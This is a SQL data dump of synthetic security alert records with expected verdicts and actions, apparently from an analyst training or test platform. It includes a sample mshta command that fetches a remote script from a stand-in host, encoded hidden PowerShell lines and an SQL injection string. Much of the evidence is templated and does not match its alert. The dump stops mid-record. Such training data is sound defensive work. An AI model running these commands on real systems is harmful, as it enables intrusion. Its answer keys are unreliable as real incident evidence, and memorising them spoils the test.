(669, 'Unauthorized Access Attempt on Database Server', 'high', 'SIEM', 'A potentially unauthorized access attempt was detected on a critical database server from an internal IP.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T22:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.6.33\",\"dst_ip\":\"192.168.1.13\",\"username\":\"dba_admin\",\"hostname\":\"DB-SERVER\",\"failed_attempts\":15}', '2026-01-10 10:37:44', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.6.33\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address attempting unauthorized access.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"dba_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common target for unauthorized access attempts.\"}}],\"expected_actions\":[\"reset_credentials\",\"monitor_user_activity\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Multiple failed login attempts indicate potential unauthorized access.\"}', 'Advanced', 'SIEM', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.318Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T22:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.6.33\\\",\\\"dst_ip\\\":\\\"192.168.1.13\\\",\\\"username\\\":\\\"dba_admin\\\",\\\"hostname\\\":\\\"DB-SERVER\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:31:22.318Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T22:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.6.33\\\",\\\"dst_ip\\\":\\\"192.168.1.13\\\",\\\"username\\\":\\\"dba_admin\\\",\\\"hostname\\\":\\\"DB-SERVER\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:30:22.318Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T22:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.6.33\\\",\\\"dst_ip\\\":\\\"192.168.1.13\\\",\\\"username\\\":\\\"dba_admin\\\",\\\"hostname\\\":\\\"DB-SERVER\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:29:22.318Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T22:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.6.33\\\",\\\"dst_ip\\\":\\\"192.168.1.13\\\",\\\"username\\\":\\\"dba_admin\\\",\\\"hostname\\\":\\\"DB-SERVER\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:28:22.318Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T22:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.6.33\\\",\\\"dst_ip\\\":\\\"192.168.1.13\\\",\\\"username\\\":\\\"dba_admin\\\",\\\"hostname\\\":\\\"DB-SERVER\\\",\\\"failed_attempts\\\":15}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(670, 'False Positive: Misinterpreted Network Activity as Data Exfiltration', 'medium', 'Firewall', 'Network activity flagged as potential data exfiltration was verified to be a legitimate backup process.', 'Data Exfil', 'T1048', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T23:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.7.44\",\"dst_ip\":\"192.168.1.14\",\"username\":\"backup.svc\",\"hostname\":\"BACKUP-SERVER\",\"data_volume\":\"2.0GB\"}', '2026-01-10 09:03:09', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.7.44\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address engaged in backup process.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"backup.svc\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Service account used for legitimate backup operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Network activity verified as legitimate backup process, confirming a false positive.\"}', 'Advanced', 'NDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(671, 'Suspicious Mshta Execution with Malicious Script', 'critical', 'EDR', 'Mshta was executed with a malicious remote script, indicating a potential fileless malware attack.', 'Malware', 'T1218.005', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T23:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.8.55\",\"dst_ip\":\"192.168.1.15\",\"username\":\"tjohnson\",\"hostname\":\"WORKSTATION-TJ\",\"command_line\":\"mshta http://malicious-site.com/malicious-script.hta\"}', '2026-01-10 20:15:05', '2026-02-16 18:03:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"mshta http://malicious-site.com/malicious-script.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Execution of a remote HTA script, typical of fileless malware attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.8.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Mshta execution with external script URL suggests fileless malware activity.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(672, 'Suspicious Network Connection Detected from Internal to External Host', 'high', 'CrowdStrike', 'A connection attempt was detected from an internal host to a known malicious IP address used for command and control.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.42\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"workstation01\",\"command_line\":\"powershell.exe -encodedcommand SGVsbG8gd29ybGQ=\",\"domain\":\"malicious-site.com\"}', '2026-01-11 03:07:07', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for command and control activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.42\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"malicious-site.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain associated with malware distribution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The connection to a known malicious IP indicates a true positive for malware communication.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(673, 'Multiple Failed Login Attempts Detected from Foreign IP', 'medium', 'Wazuh', 'A foreign IP address has attempted to login into the corporate VPN with multiple failed attempts, indicating a possible brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:00:15Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.199.108.153\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"vpn-server\",\"failed_attempts\":25}', '2026-01-10 22:06:55', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported for multiple brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the VPN server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The volume and origin of failed login attempts suggest a brute force attack.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.322Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:00:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.199.108.153\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.322Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:00:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.199.108.153\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.322Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:00:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.199.108.153\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.322Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:00:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.199.108.153\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.322Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:00:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.199.108.153\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"vpn-server\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(674, 'APT Command and Control Communication via Discord', 'critical', 'Splunk', 'Detected command and control traffic using Discord\'s infrastructure, commonly used by APT groups for stealthy communications.', 'Data Exfiltration', 'T1105', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T11:25:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.50.5\",\"dst_ip\":\"162.159.138.233\",\"username\":\"alice\",\"hostname\":\"laptop-23\",\"url\":\"https://discordapp.com/api/v9/channels/1234567890/messages\"}', '2026-01-11 12:40:32', '2026-02-16 18:02:17', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"162.159.138.233\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP associated with Discord C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.50.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://discordapp.com/api/v9/channels/1234567890/messages\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Discord API endpoint used for stealthy data exfiltration\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The use of Discord for C2 traffic is indicative of advanced threat activity.\"}', 'Expert', 'NDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.50.5\\\",\\\"dst_ip\\\":\\\"162.159.138.233\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"laptop-23\\\",\\\"url\\\":\\\"https://discordapp.com/api/v9/channels/1234567890/messages\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.50.5\\\",\\\"dst_ip\\\":\\\"162.159.138.233\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"laptop-23\\\",\\\"url\\\":\\\"https://discordapp.com/api/v9/channels/1234567890/messages\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.50.5\\\",\\\"dst_ip\\\":\\\"162.159.138.233\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"laptop-23\\\",\\\"url\\\":\\\"https://discordapp.com/api/v9/channels/1234567890/messages\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.50.5\\\",\\\"dst_ip\\\":\\\"162.159.138.233\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"laptop-23\\\",\\\"url\\\":\\\"https://discordapp.com/api/v9/channels/1234567890/messages\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.324Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.50.5\\\",\\\"dst_ip\\\":\\\"162.159.138.233\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"laptop-23\\\",\\\"url\\\":\\\"https://discordapp.com/api/v9/channels/1234567890/messages\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(675, 'Phishing Attempt via Spoofed Domain', 'high', 'Proofpoint', 'A phishing email was sent to an employee with a spoofed domain mimicking a legitimate service to steal credentials.', 'Phishing', 'T1566', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-11T08:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.100\",\"dst_ip\":\"192.168.1.20\",\"username\":\"bsmith\",\"hostname\":\"mail-server\",\"email_sender\":\"support@microsfot.com\",\"url\":\"http://fake-login.microsoft.com\"}', '2026-01-10 19:17:54', '2026-02-20 09:08:29', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"support@microsfot.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Email address known for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://fake-login.microsoft.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL used for harvesting credentials\"}}],\"expected_actions\":[\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and URL are indicative of a phishing attempt to harvest credentials.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt via Spoofed Domain\",\"date\":\"2026-02-01T20:32:22.325Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(676, 'Detected Fileless Malware Execution', 'critical', 'EDR', 'A fileless malware was executed in memory using PowerShell, evading traditional file-based detection mechanisms.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T12:05:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.100.15\",\"dst_ip\":\"192.168.100.15\",\"username\":\"jsmith\",\"hostname\":\"desktop-12\",\"command_line\":\"powershell.exe -nop -w hidden -enc JABQAGkATwB1AG4ARABjAGUATQBzAGcA\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-10 11:56:38', '2026-02-16 18:04:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -enc JABQAGkATwB1AG4ARABjAGUATQBzAGcA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command for fileless malware execution\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No associated file, possible fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell for in-memory execution indicates advanced evasion tactics.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(677, 'Suspicious DNS Queries to DGA Domain', 'high', 'Firewall', 'Detected multiple DNS queries to a domain generated by a domain generation algorithm (DGA), often used for botnet communications.', 'Malware', 'T1568', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T07:50:00Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.10.25\",\"dst_ip\":\"198.51.100.50\",\"username\":\"tadmin\",\"hostname\":\"office-pc\",\"domain\":\"a1b2c3d4e5f6g7h8.com\"}', '2026-01-09 22:50:34', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"a1b2c3d4e5f6g7h8.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain associated with DGA botnet activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the querying host\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of DGA domains in DNS queries suggests botnet communication.\"}', 'Expert', 'MAL', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(678, 'Web Attack: SQL Injection Attempt Detected', 'high', 'IDS/IPS', 'An attacker attempted an SQL injection attack on the corporate web application, potentially exploiting vulnerabilities to exfiltrate data.', 'Web Attack', 'T1190', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:20:10Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"192.168.1.100\",\"username\":\"guest\",\"hostname\":\"web-server\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-09 20:58:06', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address of web server\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request body indicates a classic SQL injection attempt, warranting investigation.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.328Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:20:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.328Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 